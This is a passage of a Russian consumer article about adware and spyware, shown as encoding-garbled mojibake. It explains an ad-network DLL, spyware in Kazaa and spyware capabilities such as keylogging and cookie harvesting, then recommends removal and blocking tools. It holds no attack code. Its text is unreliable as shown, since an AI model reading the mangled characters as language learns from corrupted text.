ôèê?" Åñëè òàê - ýòî çíà÷èò, ÷òî òû ñîç-
ðåë äëÿ ïîêóïêè ñâîåé ëþáèìîé ïðîã-
ðàììû, è îíà áóäåò óæå áåç áàííåðîâ.
Òàê, íàïðèìåð, êîìïàíèÿ ReGet
Software, ÿâëÿþùàÿñÿ îäíîé èç ïåðâî-
îòêðûâàòåëåé ïðèíöèïà adware, âûïóñ-
êàåò ñâîþ ïðîãðàììó ReGet (èñïîëüçó-
åòñÿ äëÿ ñêà÷êè ôàéëîâ) êàê áåñïëàò-
íóþ (free) - ñ áàííåðàìè, òàê è ïëàòíóþ
(pro) - áåç íàäîåäëèâîé ðåêëàìû.
Ñòàòèñòèêà ïîêàçûâàåò, ÷òî êîëè÷åñòâî
ïîëüçîâàòåëåé áåñïëàòíîé âåðñèè ïðå-
âûøàåò ÷èñëî îáëàäàòåëåé ReGet Pro
ïî÷òè â 200 ðàç. Ñëåäîâàòåëüíî,

adware-ïðîãðàììû ïðèîáðåëè áîëüøå
ñòîðîííèêîâ, ÷åì ïðîòèâíèêîâ, è òåðïå-
ëèâûõ ëþäåé ãîðàçäî áîëüøå, ÷åì ãî-
òîâûõ ðàññòàòüñÿ ñî ñâîèìè êðîâíî íà-
æèòûìè äåíüãàìè.
Ýòî çíà÷èò, ÷òî âñòðîåííàÿ â ïðîãðàì-
ìó ðåêëàìà íèêóäà óæå îò íàñ íå äåíåò-
ñÿ, ãëàâíîå, ÷òîáû áàííåðû ñòàíîâè-
ëèñü áîëåå äðóæåëþáíûìè, ÷òîáû ãëàç
ðàäîâàëñÿ è äóøà ïåëà ïðè âçãëÿäå íà
íèõ, à ðóêà ñàìà ñòðåìèëàñü êëèêíóòü
íà çàáàâíóþ êàðòèíêó, êîòîðàÿ òàê ìè-
ëî óëûáàåòñÿ òåáå.
Èòàê, ÷òî òàêîå adware óæå áîëåå èëè
ìåíåå ÿñíî. Íî âîçìîæíî, êîãî-òî çàèí-

òåðåñóåò, êàê âûäâèíóòü ñâîþ ïðîãðàì-
ìó íà îáùèé ðûíîê, ÷òîáû ñ íåé ñìîãëè
ïîçíàêîìèòüñÿ íå òîëüêî â óçêîì êðóãó
òâîèõ ðîäíûõ è çíàêîìûõ.
Íà ñàéòå http://soft.tbn.ru/ ñîäåðæèòñÿ
èñ÷åðïûâàþùàÿ èíôîðìàöèÿ î òîì,
êàê "âñòðàèâàòü ðåêëàìíûå áàííåðû â
freeware è shareware ïðîãðàììíîå
îáåñïå÷åíèå".
À äëÿ òåõ, ó êîãî ñåé÷àñ íåò âîçìîæíîñ-
òè ïî÷èòàòü ïåðâîèñòî÷íèê, ÿ ðàññêàæó
ñàìîå îñíîâíîå çäåñü, îñòàâëÿÿ âñþ
èíôîðìàöèþ â ïåðâîíà÷àëüíîì âèäå,
÷òîáû èçáåæàòü â äàëüíåéøåì êðèâî-
òîëêîâ è íåäîïîíèìàíèÿ.
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Soft.Tbn.ru - ïåðâàÿ è åäèíñòâåííàÿ adware ñåòü â ðóíåòå.
Adware ñåòü Soft.Tbn.ru ôóíêöèîíèðóåò íà áàçå äåéñòâóþùåé
áàííåðíîé ñåòè TBN (ñåé÷àñ ïîêàçûâàåò 20 ìëí. áàííåðîâ â
äåíü). Ñïåöèàëüíûé êîìïîíåíò SoftTBN.dll èíòåãðèðóåòñÿ â
ÏÎ, óñòàíàâëèâàåòñÿ íà êîìïüþòåð êàæäîãî ïîëüçîâàòåëÿ è
îáåñïå÷èâàåò ñêà÷èâàíèå è ïîêàç áàííåðîâ.
Ðåêëàìîäàòåëü îïëà÷èâàåò òîëüêî êëèêè, ò.å. ðåàëüíûå ïåðå-
õîäû ïîëüçîâàòåëÿ íà òâîé ñàéò. Àâòîð ÏÎ ïîëó÷àåò 50% äå-
íåã, âûïëà÷åííûõ ðåêëàìîäàòåëåì.

ÊÀÊ ÝÒÎ ÐÀÁÎÒÀÅÒ
Â adware ñåòè Soft.Tbn.ru ó÷àñòâóþò ñëåäóþùèå ñòîðîíû:

Ðåêëàìîäàòåëè. Çàêàçûâàþò è îïëà÷èâàþò ðåêëàìíóþ êàìïà-
íèþ. Ïðåäîñòàâëÿþò ñâîè áàííåðû. Ïðèâëåêàþò íà ñâîè ñàé-
òû êîíå÷íûõ ïîëüçîâàòåëåé.
Àâòîðû ÏÏÎ. Ðàçðàáàòûâàþò ñâîè ïðîãðàììû, âñòðàèâàþò â
íèõ êîìïîíåíò SoftTBN.dll è ðàñïðîñòðàíÿþò ïîëó÷åííûé ïðî-
äóêò. Ïîëó÷àþò äîëþ ïðèáûëè îò ïðîâåäåíèÿ ðåêëàìíîé êàì-
ïàíèè.
Êîìïàíèÿ ÀÀãàâà. Ïðèâëåêàåò ðåêëàìîäàòåëåé è ðàçðàáîò÷è-
êîâ ÏÎ ê ó÷àñòèþ â adware ñåòè Soft.Tbn.ru. Ðàçðàáàòûâàåò,
àäìèíèñòðèðóåò è îáåñïå÷èâàåò ðàáîòó áàííåðíîé ñåòè TBN,
adware ñåòè Soft.Tbn.ru è êîìïîíåíòà SoftTBN.dll. Ïîëó÷àåò äî-
ëþ ïðèáûëè îò ïðîâåäåíèÿ ðåêëàìíîé êàìïàíèè.
Êîíå÷íûå ïïîëüçîâàòåëè. Ïîëó÷àþò è èñïîëüçóþò ïðîãðàì-
ìíûå ïðîäóêòû ñî âñòðîåííûì êîìïîíåíòîì SoftTBN.dll. Êëè-
êàþò ïî áàííåðàì è çàõîäÿò íà èíòåðåñóþùèå èõ ñàéòû.
Â adware ñåòè Soft.Tbn.ru çàäåéñòâîâàíû ñëåäóþùèå ïðîãðà-
ììíûå êîìïîíåíòû:
BannerBank. Òåõíîëîãèÿ ñîçäàíèÿ è óïðàâëåíèÿ Âèðòóàëüíîé
Áàííåðíîé Ñåòüþ.
TBN. Áàííåðíàÿ ñåòü êîìïàíèè Àãàâà, ïîñòðîåííàÿ íà òåõíî-
ëîãèè BannerBank. Îáåñïå÷èâàåò ðåãèñòðàöèþ ðåêëàìîäàòå-
ëåé è óïðàâëåíèå áàííåðàìè.
Ñåðâåðíàÿ ÷÷àñòü SSoft.Tbn.ru. Íàáîð óïðàâëÿþùèõ ñêðèïòîâ,
êîòîðûå:

îáåñïå÷èâàþò ðåãèñòðàöèþ ðåêëàìîäàòåëåé è àâòîðîâ
ÏÎ â adware ñåòè Soft.Tbn.ru;

ïðèíèìàþò è îáðàáàòûâàþò çàïðîñû îò êîìïîíåíòà
SoftTBN.dll è â îòâåò îòäàþò áàííåðû èç ñåòè TBN;

îáðàáàòûâàþò êëèêè, âåäóò ïîäñ÷åò ñòàòèñòèêè è äåíåã.
Êîìïîíåíò SSoftTBN.dll. Êîìïîíåíò ñêà÷èâàíèÿ è ïîêàçà áàí-
íåðîâ. Ïðîãðàììíûé êîìïîíåíò, êîòîðûé èíòåãðèðóåòñÿ â
êàæäóþ ïðîãðàììó (ó÷àñòâóþùóþ â adware ñåòè Soft.Tbn.ru) è
óñòàíàâëèâàåòñÿ íà êîìïüþòåð êàæäîãî êîíå÷íîãî ïîëüçîâà-
òåëÿ (âìåñòå ñ ïðîãðàììîé). Ñâÿçûâàåòñÿ ÷åðåç èíòåðíåò (ïî
ïðîòîêîëó HTTP) ñ ñåðâåðîì Soft.Tbn.ru, ïîëó÷àåò áàííåðû è
ïàðàìåòðû ïîêàçà áàíåðîâ è â ïðîöåññå ðàáîòû ïðîãðàììû
ïîêàçûâàåò áàííåðû.
Ïîñëåäîâàòåëüíîñòü øàãîâ ïî ðàáîòå adware ñåòè Soft.Tbn.ru:
1. Ðåêëàìîäàòåëü ðåãèñòðèðóåòñÿ â áàííåðíîé ñåòè TBN è â

ñèñòåìå Soft.Tbn.ru è ïîìåùàåò ñâîè áàííåðû.
2.Àâòîð ÏÎ ðåãèñòðèðóåò â ñèñòåìå Soft.Tbn.ru ñâîå ÏÎ, ïî-

ëó÷àåò îò íàñ êîìïîíåíò SoftTBN.dll è âñòðàèâàåò åãî â ñâîþ
ïðîãðàììó.
3.Ìû óñòàíàâëèâàåì ñîîòâåòñòâèå ìåæäó áàííåðàìè è ÏÎ.
4.Êîíå÷íûé ïîëüçîâàòåëü ïîëó÷àåò îò àâòîðà ÏÎ ýêçåìï-

ëÿð ïðîãðàììû (ñî âñòðîåííûì êîìïîíåíòîì SoftTBN.dll) è çà-
ïóñêàåò ýòó ïðîãðàììó.
5.Â ïðîöåññå ðàáîòû ñîôòèíû êîìïîíåíò SoftTBN.dll ñâÿ-

çûâàåòñÿ ÷åðåç èíòåðíåò ñ ñåðâåðîì Soft.Tbn.ru, ïîëó÷àåò
áàííåðû, ïàðàìåòðû ïîêàçà áàííåðîâ è çàòåì ïîêàçûâàåò èõ.
6.Åñëè êîíå÷íîãî ïîëüçîâàòåëÿ çàèíòåðåñîâàë áàííåð, îí

êëèêàåò ïî áàííåðó. Ïîñëå êëèêà íà êîìïüþòåðå ïîëüçîâàòå-
ëÿ îòêðûâàåòñÿ îêíî âåá-áðàóçåðà è çàãðóæàåòñÿ ñàéò, ñîîò-
âåòñòâóþùèé äàííîìó áàííåðó, à íà ñåðâåð Soft.Tbn.ru ïåðå-
äàåòñÿ èíôîðìàöèÿ î êëèêå.
Âîò è âñå - òåïåðü òû íàñòîÿùèé çíàòîê adware èíäóñòðèè, íî
â òåìå ñòàòüè çâó÷àëî åùå îäíî ñëîâî� äà, äåéñòâèòåëüíî -
íåáîëüøîå, êðîõîòíîå ñëîâî Spyware (îò àíãëèéñêîãî ñëîâà
Spy - øïèîí).
À ýòî íåáîëüøîå ñëîâî è åñòü ñàìûé áîëüøîé ïîäâîõ äëÿ
ëþáèòåëåé õàëÿâû. Èç-çà íåãî è âñòðå÷àþòñÿ ëþäè, êîòîðûå
ãîâîðÿò, ÷òî adware-ïðîãðàììû - ýòî îïàñíî. »



Îïàñíî! Íî ÷òî æå òóò ìîæåò áûòü îïàñ-
íîãî? Áóäó÷è ðÿäîâûì ïîëüçîâàòåëåì
òû íå çíàåøü, êàê ðàáîòàåò òâîÿ ëþáè-
ìàÿ ïðîãðàììà èçíóòðè. Äà, îíà äåëàåò
âñå ÷òî òû õî÷åøü - íî ìîæåò áûòü, îíà
óñïåâàåò è åùå ÷òî-òî ñìàñòåðèòü? Äà
åùå è êîìó-íèáóäü ýòî îòîñëàòü. Ïðè-
êîëüíî? À åñëè òû ñàì - ñîçäàòåëü
ïðîãðàììóëèíû, è òåáå äîïîäëèííî èç-
âåñòåí êàæäûé çàâèòîê êîäà, òî è äëÿ
òåáÿ çàãîòîâëåí ñþðïðèç - òû íå çíà-
åøü ïðèíöèïà ðàáîòû âñòðîåííîãî â
òâîå äåòèùå áàííåðà, ïðè÷åì íå îáÿçà-
òåëüíî ÷òîáû ÷òî-òî âðåäîíîñíîå ïðè-
ñóòñòâîâàëî â òåëå ñàìîé ïðîãðàììû -
îíî ìîæåò õðàíèòüñÿ íà ñàéòå èíòåðíå-
òà.
È ïîëó÷àåòñÿ, ÷òî íà áåäíûõ ïîëüçîâà-
òåëÿõ ìîãóò íàæèâàòüñÿ íå òîëüêî ðåê-
ëàìíûå êîìïàíèè, íî è êðóïíûå
Spyware êîìïàíèè, êîòîðûå ïî cookies
è History óçíàþò, ÷òî è êîãäà þçåð ëþ-
áèò ñìîòðåòü â èíòåðíåòå, ðàçíþõèâàþò
âñå î åãî ïðèñòðàñòèÿõ, àäðåñàõ ýëåêò-
ðîííîé ïî÷òû è ïàðîëÿõ.
Òû çàäóìàåøüñÿ - íó ëàäíî, ïàðîëü óç-
íàòü ýòî îäíî, ýòî ìîæíî ïîíÿòü - íî çà-
÷åì êðóïíîé êîìïàíèè çíàòü òî, ÷òî ìíå
íðàâèòñÿ ñìîòðåòü, çà÷åì åé àäðåñ ìî-
åé ïî÷òû? Òàê âîò, òîëüêî êðóïíîé êîì-
ïàíèè è èíòåðåñíî, ÷åì çàíèìàåòñÿ
êàæäûé åå þçåð, ïðèîáðåòøèé ýòó
ïðîãðàììêó. Îá ýòîì êðóãå ëþäåé ñêëà-
äûâàåòñÿ îïðåäåëåííîå ìíåíèå, êîòî-
ðîå áóäåò ó÷òåíî ïðè ðàñêðóòêå áóäó-
ùèõ ïðîåêòîâ, è èìåííî â ýòî îíè ñòà-
íóò âêëàäûâàòü ñâîè äåíåæêè.
Ìåëêîé ôèðìå íåò ñìûñëà õðàíèòü äàí-
íûå î ñîòíå ëþäåé, òåì áîëåå ÷òî çà êî-
ðîòêèé ïåðèîä âðåìåíè îíè áóäóò ðàç-
ìûòûå, íå÷åòêèå - äëÿ òîãî ÷òîáû ïî-
íÿòü ïðèñòðàñòèÿ ñâîèõ ïîòåíöèàëüíûõ
êëèåíòîâ, íóæíî ïîòðàòèòü óéìó âðåìå-
íè è äåíåã - à îíè åñòü ëèøü ó êðóïíîé
êîíòîðû.
Òû ñìîæåøü òî÷íî ñêàçàòü - êàêèå ñàé-
òû çà ãîä òû ïîñåùàë ÷àùå âñåãî, ÷òå-
íèþ êàêèõ èç íèõ óäåëèë ìàêñèìóì âðå-
ìåíè, íà êàêèå ññûëêè êàêîãî ñàéòà êëè-
êàë ÷àùå, ÷òî ëþáèøü ñìîòðåòü â ñóá-
áîòó âå÷åðîì, à ÷òî â ïîíåäåëüíèê ñ óò-
ðà? ß áû çàòðóäíèëñÿ îòâåòèòü íà ýòîò
âîïðîñ, à spyware-êîìïàíèÿ - ÍÅÒ.
Ðàçðàáîò÷èêè, ñîçäàþùèå ñâîáîäíî
ðàñïðîñòðàíÿåìîå ÏÎ, ïîëó÷àþò äåíü-
ãè çà òî, ÷òî âñòàâëÿþò â ñâîè ïðîãðàì-
ìû íåáîëüøèå ðåêëàìíûå áàííåðû. Îä-
íàêî òàêàÿ ðåêëàìà íåýôôåêòèâíà, åñ-
ëè åå ïîêàçûâàòü íàîáóì, âåäü îíà ìî-
æåò íå çàèíòåðåñîâàòü ïîëüçîâàòåëÿ,
óâèäåâøåãî åå. Ãèãàíòû ðåêëàìû ïûòà-
þòñÿ ðåøèòü ýòó ïðîáëåìó ïî-ñâîåìó:
îíè íàáëþäàþò çà ïîëüçîâàòåëåì âî
âðåìÿ åãî ñåðôèíãà â èíòåðíåòå è òà-
êèì îáðàçîì óçíàþò î åãî èíòåðåñàõ.
Íåáîëüøèå øïèîíñêèå ïðîãðàììû, êî-
òîðûå ñîáèðàþò äàííûå î ïîëüçîâàòå-
ëå è ïåðåäàþò èõ íà ñåðâåð ïîñòàâùèêà
ðåêëàìû, âñòðàèâàþòñÿ â áåñïëàòíûå è
óñëîâíî-áåñïëàòíûå ïðîãðàììû áåç âå-
äîìà ïîëüçîâàòåëÿ. Ýòè ïðîãðàììû
îáúåäèíÿåò îáùèé òåðìèí Spyware -
"øïèîíñêîå (èëè øïèîíÿùåå)" ïðîãðà-
ììíîå îáåñïå÷åíèå.

Ýòî ëåãàëüíî? Ê ñîæàëåíèþ, äà, èíà÷å
ìû íå óâèäåëè áû òàêèõ ñóïåðïîïóëÿð-
íûõ áåñïëàòíûõ ïðîãðàìì, êàê Kazaa. È
âåäü â Kazaa äåéñòâèòåëüíî áûëè ìî-
äóëè-øïèîíû, îá ýòîì óæå ïèñàíî-ïå-
ðåïèñàíî. Ïðàâäà â êîíöå ìàÿ 2003
êîìïàíèÿ Sharman Networks îïóáëèêî-
âàëà íà ñàéòå ïèðèíãîâîé ñåòè Kazaa
çàÿâëåíèå, â êîòîðîì óêàçàëà, ÷òî â îä-
íîèìåííûé ôàéëîîáìåííûé êëèåíò íå
áóäóò âêëþ÷àòüñÿ øïèîíñêèå ìîäóëè,
ñîáèðàþùèå èíôîðìàöèþ î äåÿòåëü-
íîñòè ïîëüçîâàòåëÿ.
Êàê óòâåðæäàåòñÿ â çàÿâëåíèè
Sharman Networks, Kazaa Media Desktop
- áåñïëàòíàÿ ïðîãðàììà, ðàñõîäû íà
ïîääåðæêó êîòîðîé îêóïàþòñÿ çàêîí-
íûìè ìåòîäàìè, à èìåííî, ðàñïðîñòðà-
íåíèåì êîíòåíòà ñ ñîáëþäåíèåì àâòî-
ðñêèõ ïðàâ, ðàçìåùåíèåì ðåêëàìû è ñ
ïîìîùüþ äâóõ ðåêëàìíûõ ìîäóëåé ñòî-
ðîííèõ ïðîèçâîäèòåëåé.
Ñóäÿ ïî êîëè÷åñòâó èñòî÷íèêîâ çàðà-
áîòêà, ïîëüçîâàòåëþ îò íîâîé ïîëèòè-
êè "Kazaa áåç òðîÿíöåâ" ëåã÷å íå ñòà-
íåò. Ñêîðåå âñåãî, Sharman Networks
âûñòóïèëà ñ òàêèì çàÿâëåíèåì, ÷òîáû
ïîäíÿòü ðåïóòàöèþ ïðîãðàììû ñðåäè
ïîëüçîâàòåëåé, òàê êàê ìíîãèå, íå æå-
ëàÿ, ÷òîáû çà íèìè óñòàíàâëèâàëè
ñëåæêó, ïîëüçóþòñÿ "âçëîìàííîé" âåð-
ñèåé êëèåíòà KaZaa Lite, â êîòîðîé îò-
ñóòñòâóþò è òðîÿíû, è ðåêëàìà.
Çàêîííîñòü âíåäðåíèÿ spyware ãàðàíòè-
ðóåò, ÷òî ïîëüçîâàòåëü ïðîãðàììû, ÷àñ-
òî äàæå ñàì íå ïîäîçðåâàÿ îá ýòîì, ñîã-
ëàøàåòñÿ íà ñëåæêó çà ñîáîé. Êîãäà òû
ñòàâèøü íîâóþ ïðîãðàììó - âñåãäà ëè
òû ÷èòàåøü ëèöåíçèîííîå ñîãëàøåíèå
íà ïðàâî ïîëüçîâàíèÿ åé? À âåäü
èìåííî â íåì è íàïèñàíî, ÷òî òû ñîãëà-
øàåøüñÿ ó÷àñòâîâàòü â êàêîé-íèáóäü
ðåêëàìíîé àêöèè, ïðè÷åì çà÷àñòóþ ýòî
íàïèñàíî òàê âèòèåâàòî, ÷òî ïîíÿòü
ñìûñë êàêîãî-òî îòäåëüíîãî àáçàöà áû-
âàåò äîâîëüíî ñëîæíî. Íó à äëÿ óìíûõ,
êàê îáû÷íî, ñîçäàíû äâå ðàäèî-êíîïêè
- ñîãëàñåí èëè íåò ñ äàííûì ñîãëàøåíè-
åì? Íå ñîãëàñåí - èçâèíè, ïðîãðàììà
èíñòàëëèðîâàòüñÿ íå áóäåò.
Óñòàíîâèë ïðîãðàììó - ïîçäðàâëÿþ! ß
íàäåþñü, òû íå çàáûë óêàçàòü èìÿ ñâî-
ãî ïî÷òîâîãî ÿùèêà? Åñëè íå çàáûë - òî
ïîçäðàâëÿþ åùå ðàç - ìàëî òîãî, ÷òî
òû, ñêîðåå âñåãî, óêàçàë ñâîè íàñòîÿ-
ùèå èìÿ, ôàìèëèþ, îò÷åñòâî - òû åùå è
ñàì âïèñàë àäðåñ ïî÷òû, êîòîðóþ òû ÷à-
ùå âñåãî ïðîâåðÿåøü. Òåïåðü æäè, î
òåáå íå çàáóäóò è áóäóò ðåãóëÿðíî ïðè-
ñûëàòü ïðèâåòñòâåííûå ïèñüìà. Âñå-òà-
êè íóæíî ïîäûòîæèòü âñå âîçìîæíîñòè
spyware-ìîäóëåé, ÷òîáû òû çíàë ñèìï-
òîìû çàðàæåíèÿ èìè.
Øïèîíû ìîãóò:
- ñêàíèðîâàòü òâîé æåñòêèé äèñê, èññëå-
äóÿ òâîé ðååñòð è ñèñòåìíûå ïàïêè â
ïîèñêàõ èíôîðìàöèè îáî âñåì óñòàíîâ-
ëåííîì ó òåáÿ ïðîãðàììíîì îáåñïå÷å-
íèè;
- ñëåäèòü çà êà÷åñòâîì ñâÿçè è ñïîñî-
áîì ïîäêëþ÷åíèÿ;
- ñëåäèòü çà àêòèâíîñòüþ â Ñåòè: ñëå-
äèòü çà äàííûìè, êîòîðûå òû âíîñèøü

â ôîðìû, ÷òî ÷àùå ïîñåùàåøü, ÷òî çà-
êàçûâàåøü â îíëàéí-ìàãàçèíàõ;
- ñëåäèòü çà òâîèìè cookies, ñîäåðæà-
ùèìè ðåãèñòðàöèîííóþ èíôîðìàöèþ,
ñîçäàííóþ ïðè ïîñåùåíèè ëþáèìûõ
ñàéòîâ;
- ìîãóò èíòåãðèðîâàòüñÿ â òâîé ïî÷òî-
âûé êëèåíò, îòîñëàâ àêòèâíî ïîñåùàå-
ìûé òîáîé àäðåñ ñîçäàòåëþ spyware, à
ñåáÿ - âñåì òâîèì äðóçüÿì èç àäðåñíîé
êíèãè;
- ñëåäèòü çà íàæàòèÿìè êëàâèø, òùà-
òåëüíî ôèêñèðóÿ êàæäîå èç íèõ, çàïè-
ñûâàÿ âñå, ÷òî òû ïå÷àòàåøü, â òåêñòî-
âûé ôàéëèê, îòîñëàííûé âïîñëåäñòâèè
êîìó íàäî.
Äî ñèõ ïîð íåò íèêàêèõ çàêîíîâ, çàïðå-
ùàþùèõ èñïîëüçîâàíèå ìîäóëåé-øïè-
îíîâ. Òåì áîëåå ÷òî çà÷àñòóþ èõ ñîçäà-

òåëè ìîãóò îïðàâäàòüñÿ òåì, ÷òî ýòî íå
øïèîí, à, íàîáîðîò, ñàìûé ëó÷øèé äðóã,
ïîìîãàþùèé ñâîåìó ïîëüçîâàòåëþ ïî
ìåðå âîçìîæíîñòè. Ïðèìåðîì ìîæåò
ñëóæèòü âñå òà æå êîìïàíèÿ Microsoft,
èçâåñòíàÿ ñâîåé çàáîòîé î ïîëüçîâàòå-
ëå. Òû èñïîëüçóåøü ìåäèà-ïëååð?
Åñëè äà, òî òû äîëæåí çíàòü, ÷òî êàæ-
äûé ìåäèà-ïëååð èìååò ñâîé ïåðñî-
íàëüíûé íîìåð, è ïðè ïîñåùåíèè èì
ñàéòà-ïðîèçâîäèòåëÿ òåáÿ îáÿçàòåëüíî
èäåíòèôèöèðóþò. Åñëè òåáÿ ýòî íå òðî-
ãàåò, è òû óâåðåí, ÷òî ïîëüçóåøüñÿ ëè-
öåíçèîííîé âåðñèåé ïëååðà - òî íå î
÷åì è âîëíîâàòüñÿ. À âîò åñëè òâîå
ñåðäöå çàòðåïåòàëî ïðè ìûñëè î òîì
ïèðàòñêîì äèñêå, ñ êîòîðîãî ñòàâèëîñü
âñå, ÷òî òîëüêî ìîæíî - òî ÿ ñîâåòóþ òå-
áå îòêëþ÷èòü ôóíêöèþ èäåíòèôèêàöèè
âî âêëàäêå ïàðàìåòðû, ìåíþ ñåðâèñ.
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ïîäîçðèòåëüíî



Ïðîñòî ñíèìè ãàëî÷êè ñ "ðàçðåøèòü âåá-
óçëàì èäåíòèôèêàöèþ ïðîèãðûâàòåëÿ" è
ñ "ïîëó÷àòü ëèöåíçèè àâòîìàòè÷åñêè".
Àâòîîáíîâëåíèå íóæíî îòêëþ÷èòü ÷åðåç
âêëàäêó ñâîéñòâà òâîåãî êîìïüþòåðà.
Òàì âûáåðè àâòîìàòè÷åñêîå îáíîâëå-
íèå è óñòàíîâè ãàëêó íà "îòêëþ÷èòü àâ-
òîìàòè÷åñêîå îáíîâëåíèå. ß õî÷ó âû-
ïîëíÿòü îáíîâëåíèå ïðîãðàììíîãî
îáåñïå÷åíèÿ âðó÷íóþ". À åùå ëó÷øå,
çàïðåòè, ñ ïîìîùüþ êàêîãî-íèáóäü ôà-
åðâîëà, ñâîåìó ëþáèìîìó ïðîèãðûâà-
òåëþ ñîåäèíÿòüñÿ ñ èíòåðíåòîì, è ìî-
æåøü ñïàòü ñïîêîéíî.
Òåïåðü íàäî ðåøèòü, êàê óçíàòü, åñòü
ëè øïèîí â òâîåé ëþáèìîé ïðîãðàììå,
è åñëè åñòü, òî êàê îò íåãî èçáàâèòüñÿ.
×àñòî àíòèâèðóñ îïðåäåëÿåò ïðîãðàì-
ìû-øïèîíû êàê èíôèöèðîâàííûå, íî
íå íàñòîëüêî ÷àñòî, ÷òîáû ýòîìó ïîë-
íîñòüþ äîâåðÿòü. Ïîýòîìó ëþáèòåëü
õàëÿâû äîëæåí çàïàñòèñü íàñòîÿùåé

ïóøêîé, êîòîðàÿ íå äàåò îñå÷êè 3:1 - íå
â ëó÷øóþ ñòîðîíó.
Îäíîé èç ñàìûõ ïîïóëÿðíûõ ïðîãðàìì
ïî èñòðåáëåíèþ spyware-ìîäóëåé ÿâëÿ-
åòñÿ Ad-aware.
Îíà àáñîëþòíî áåñïëàòíà è íå ñîäåð-
æèò â ñåáå âðåäîíîñíîãî êîäà. Âçÿòü åå
ìîæíî íà ñàéòå www.soft-portal.msk.ru/
èëè ñ ðîäíîãî ñàéòà ïðîèçâîäèòåëÿ
www.lavasoft.de/. Êàê íàïèñàíî íà ñîôò-
ïîðòàëå, "Ad-aware ïðåäíàçíà÷åíà äëÿ
ïîèñêà è ïðàâèëüíîãî óäàëåíèÿ spy-
ware - ñëåäÿùåãî (øïèîíñêîãî) ÏÎ, òà-
êîãî êàê Adware, AdvertBar, Alexa,
Aureate, Cydoor, Doubleclick, Gator,
Hotbar, SurfPlus, Web3000 è ïðî÷., óñòà-
íàâëèâàåìîãî íà ÏÊ ïîëüçîâàòåëÿ ðàç-
ëè÷íûìè Ad-ware ïðîãðàììàìè". Òàê

îíî è åñòü íà ñàìîì äåëå. Ýòà ïðîãðàì-
ìà ðàáîòàåò ïî ïðèíöèïó ñêàíåðà, âû-
èñêèâàÿ spyware ïî çàðàíåå îïðåäå-
ëåííûì ïàðàìåòðàì.
Íà www.soft-portal.msk.ru åñòü òîëüêî
ïîñëåäíÿÿ âåðñèÿ Ad-Aware 6.181
Standard, à íà ðîäíîì ñàéòå lavasoft -
íåìûñëèìîå êîëè÷åñòâî ðàçëè÷íûõ
âåðñèé, è äàæå èñòèííûé îõîòíèê íà
øïèîíîâ íå áóäåò îáèæåí.
Ïåðåä íà÷àëîì ïîèñêà íóæíî çàäàòü
îáúåêòû äëÿ ïðîâåðêè - ïàìÿòü, ðååñòð,
äèñêè. Ïîñëå çàïóñêà ïðîãðàììêà ñîîá-
ùèò òåáå î êîëè÷åñòâå ïðîöåññîâ, âû-
ïîëíÿåìûõ â äàííîå âðåìÿ íà òâîåé ìà-
øèíå, è íà÷íåò ïîñòåïåííî âûëàâëè-
âàòü ïðîöåññû-øïèîíû. Ïðè÷åì ñóùå-
ñòâóåò âîçìîæíîñòü ñîçäàòü íåêîå ïî-
äîáèå êîíòðîëüíîé òî÷êè âîññòàíîâëå-
íèÿ - åñëè çàðàæåííàÿ ïðîãðàììà îòêà-
æåòñÿ çàïóñêàòüñÿ ïîñëå ÷èñòêè, òî
ìîæíî îòêàòèòüñÿ íàçàä è ïîèñêàòü
äðóãîé ñïîñîá çà÷èñòêè. Íó è êîíå÷íî,
êàê è â ëþáîì àíòèâèðóñå, ñòàòèñòèêó
âñåãî íàéäåííîãî spyware ìîæíî ñîõ-
ðàíèòü â ôàéë îò÷åòà. Òåáå ñòàíóò èç-
âåñòíû ñèñòåìíûå êëþ÷è ðååñòðà è
èìåíà ôàéëîâ, îòâå÷àþùèõ çà ðàáî-
òîñïîñîáíîñòü spyware, à ñàìîå ãëàâ-
íîå, òåáå ñòàíåò èçâåñòíî, êòî è êóäà íà
òåáÿ ñòó÷èò.
Ëàâàñîôò íå ëåíèòñÿ îáíîâëÿòü ñâîè
áàçû øïèîíñêîãî ÏÎ, è ýòî íàâîäèò íà
ìûñëü, ÷òî è ñîçäàòåëè øïèîíîâ íå ñè-
äÿò áåç äåëà, îíè òðóäÿòñÿ äåíü è íî÷ü
íå ïîêëàäàÿ ðóê äëÿ òîãî, ÷òîáû èõ ïëà-
ãèíû áûëè áåç âêóñà, öâåòà è çàïàõà.
Ïîýòîìó, åñëè òû âåëèêèé êîíñïèðàòîð,
íå ëåíèñü çàãëÿäûâàòü íà www.lavasoft-
usa.com/ èëè www.lavasoft.de/. Ïðè÷åì
ñêà÷èâàé òîëüêî ñ ýòèõ àäðåñîâ! Òàê êàê

ñóùåñòâóþò ïðîãðàììû, âûäàþùèå ñå-
áÿ çà Ad-aware. Èõ íàçâàíèÿ î÷åíü ïî-
õîæè íà îðèãèíàë, à ìîãóò áûòü è âîîá-
ùå èäåíòè÷íû.
Ìîæíî ïîéòè íà ìàëåíüêóþ õèòðîñòü -
çàìàñêèðîâûâàòü îòïðàâëÿåìóþ òîáîé
èíôîðìàöèþ, ÷òîáû spyware êîìïàíèÿ
ïîëîìàëà ãîëîâó íàä òåì, ÷òî æå èì
óäàëîñü î òåáå óçíàòü. Äëÿ ýòîãî åñòü
îòëè÷íàÿ ïðîãðàììêà Proxmitron.
Îíà ïîçâîëèò øïèîíó ïîñëàòü íàìíîãî
ìåíüøå ïîëåçíîé èíôîðìàöèè.

À åùå åñòü òàêàÿ çàìå÷àòåëüíàÿ ïðîã-
ðàììêà êàê SpywareBlaster. Ïðàâäà, îíà
íå èùåò øïèîíîâ, îíà ïðîñòî áëîêèðó-
åò âñå èçâåñòíûå åé âðåäîíîñíûå
ActivX êîìïîíåíòû, íå äàâàÿ èì çàíè-
ìàòüñÿ ñâîèìè ïðÿìûìè îáÿçàííîñòÿ-
ìè. À åùå îíà áóäåò ñëåäèòü çà óñòà-
íîâêîé ActivX êîìïîíåíòîâ, íå ïîçâî-
ëÿÿ óñòàíàâëèâàòüñÿ èçâåñòíûì åé
øïèîíàì.
Ìàêñèìàëüíóþ çàùèòó ìîæåò îáåñïå-
÷èòü ãðàìîòíî íàñòðîåííûé Firewall, ïî-
êàçûâàþùèé âñþ ïåðåñûëêó äàííûõ
êàê íà òâîé êîìïüþòåð, òàê è ñ íåãî. Íî
ýòî î÷åíü ñëîæíî, îñîáåííî åñëè òû
ñåðüåçíî çàãðóæàåøü ñâîé êàíàë, è òåì
áîëåå, åñëè òû ïîíÿòèÿ íå èìååøü, êà-
êîé ïîðò äëÿ ÷åãî ñëóæèò.
Òåïåðü òû óæå â ñîñòîÿíèè çàùèòèòü
